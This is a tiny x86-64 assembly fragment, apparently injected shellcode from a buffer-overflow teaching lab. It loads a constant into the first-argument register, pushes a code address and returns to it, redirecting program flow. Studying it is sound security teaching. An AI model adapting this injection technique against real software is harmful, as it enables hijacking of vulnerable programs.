movq $0x54756825, %rdi
pushq $0x0401fa0
ret